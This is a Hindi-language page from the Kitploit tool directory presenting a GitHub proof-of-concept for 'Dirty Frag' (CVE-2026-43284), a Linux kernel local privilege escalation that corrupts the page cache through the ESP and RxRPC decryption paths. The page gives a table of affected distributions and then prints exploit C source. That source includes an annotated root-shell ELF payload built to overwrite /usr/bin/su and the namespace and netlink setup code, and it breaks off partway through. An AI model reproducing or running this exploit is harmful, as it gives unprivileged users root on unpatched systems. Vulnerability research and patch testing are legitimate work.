Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-43284 — Dirty Frag - Linux कर्नेल गंभीर भेद्यता | Kitploit
उपकरण/GitHubGitHub/lucaspdiniz/cve-2026-43284
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगबाइनरी शोषण
GitHublucaspdiniz/cve-2026-43284

CVE-2026-43284

Dirty Frag - Linux कर्नेल गंभीर भेद्यता

रिपॉजिटरी देखें
1194 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Dirty Frag - लिनक्स कर्नेल गंभीर भेद्यता - CVE-2026-43284 📚

परिचय

यह एक्सप्लॉइट श्रृंखला, जिसे स्थानीय विशेषाधिकार वृद्धि (LPE) के रूप में वर्गीकृत किया गया है, एक अनविशेषाधिकृत उपयोगकर्ता को लगभग सभी आधुनिक Linux वितरणों पर रूट एक्सेस प्राप्त करने की अनुमति देती है, जो 2017 से जारी कर्नेल चला रहे हैं, जो लगभग नौ वर्षों के संस्करणों तक फैला हुआ है। यह शोषण esp4, esp6, और rxrpc मॉड्यूल के इन-प्लेस डिक्रिप्शन पथ पर काम करता है, जो splice(2) और sendmsg(2) जैसे मानक सिस्कॉल के माध्यम से कर्नेल पेज कैश को दूषित करता है, जिसके लिए न तो उपयोगकर्ता की सहभागिता आवश्यक होती है और न ही कोई रिमोट अटैक वेक्टर।

दो घटक भेद्यताएँ हैं:

  • xfrm-ESP पेज-कैश राइट - CVE-2026-43284, IPsec ESP इनपुट पथ में। 7 मई 2026 को netdev ट्री में विलय किया गया और 8 मई 2026 को मेनलाइन में commit f4c50a4034e6 के रूप में स्वीकार किया गया (नए टैब में खुलता है)।

  • RxRPC पेज-कैश राइट - CVE-2026-43500 आरक्षित, AFS RxRPC सत्यापन पथ में। प्रकटीकरण के समय किसी भी ट्री में कोई पैच मौजूद नहीं है।

प्रभावित वितरण

वितरणप्रभावित संस्करणCVE-2026-43284 (ESP)CVE-2026-43500 (RxRPC)पैच स्थिति
RHEL8, 9, 10✅ प्रभावित✅ प्रभावितपैच किया गया
AlmaLinux8, 9, 10✅ प्रभावित⚠️ केवल 9 और 10¹पैच किया गया
Rocky Linux8, 9, 10✅ प्रभावित✅ प्रभावितपैच किया गया
CentOS8✅ प्रभावित✅ प्रभावितपैच किया गया
CloudLinux7 Hybrid, 8, 9, 10✅ प्रभावित✅ प्रभावितपैच किया गया
Oracle LinuxRHCK / UEK प्रभावित✅ प्रभावित✅ प्रभावितपैच किया गया
Ubuntu20.04, 22.04, 24.04✅ प्रभावित✅ प्रभावितपैच किया गया
DebianBullseye, Bookworm, Trixie✅ प्रभावित✅ प्रभावितपैच किया गया (पहले sid)
Fedoraवर्तमान रिलीज़✅ प्रभावित✅ प्रभावितपैच किया गया
Arch Linuxरोलिंग✅ प्रभावित✅ प्रभावितपैच किया गया
Amazon Linux2, 2023✅ प्रभावित✅ प्रभावितपैच किया गया
Proxmox VEवर्तमान रिलीज़✅ प्रभावित✅ प्रभावितपैच किया गया


प्रभावित: Linux कर्नेल ≥ 4.14 (जनवरी 2017 से) · सभी प्रमुख वितरण · कोई रिमोट वेक्टर नहीं CVSS 3.1: 8.8 उच्च (CVE-2026-43284) · प्रकटीकरण: 7 मई, 2026 · सार्वजनिक ज़ीरो-डे PoC शोधकर्ता: Hyunwoo Kim (@v4bel)

शोषण 🔓

  1. इस भेद्यता का शोषण करने के लिए, हम नीचे दिए गए प्रूफ ऑफ कॉन्सेप्ट का उपयोग करेंगे, जिसमें exp.c नामक एक फ़ाइल बनाई जाएगी।``` #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h>

#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif

#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */

/*

  • 192-byte minimal x86_64 root-shell ELF.
  • _start at 0x400078:
  • setgid(0); setuid(0); setgroups(0, NULL);
    
  • execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
    
  • PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
  • Setting TERM in the new shell's env silences the
  • "tput: No value for $TERM" / "test: : integer expected" noise
  • /etc/bash.bashrc and friends emit when TERM is unset.
  • Code (from offset 0x78):
  • 31 ff xor edi, edi
  • 31 f6 xor esi, esi
  • 31 c0 xor eax, eax
  • b0 6a mov al, 0x6a ; setgid
  • 0f 05 syscall
  • b0 69 mov al, 0x69 ; setuid
  • 0f 05 syscall
  • b0 74 mov al, 0x74 ; setgroups
  • 0f 05 syscall
  • 6a 00 push 0 ; envp[1] = NULL
  • 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
  • 50 push rax ; envp[0]
  • 48 89 e2 mov rdx, rsp ; rdx = envp
  • 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
  • 31 f6 xor esi, esi ; rsi = NULL (argv)
  • 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
  • 0f 05 syscall ; execve("/bin/sh",NULL,envp)
  • "TERM=xterm\0" (offset 0xa5..0xaf)
  • "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };

extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)

static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }

static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }

टूल डाउनलोड करें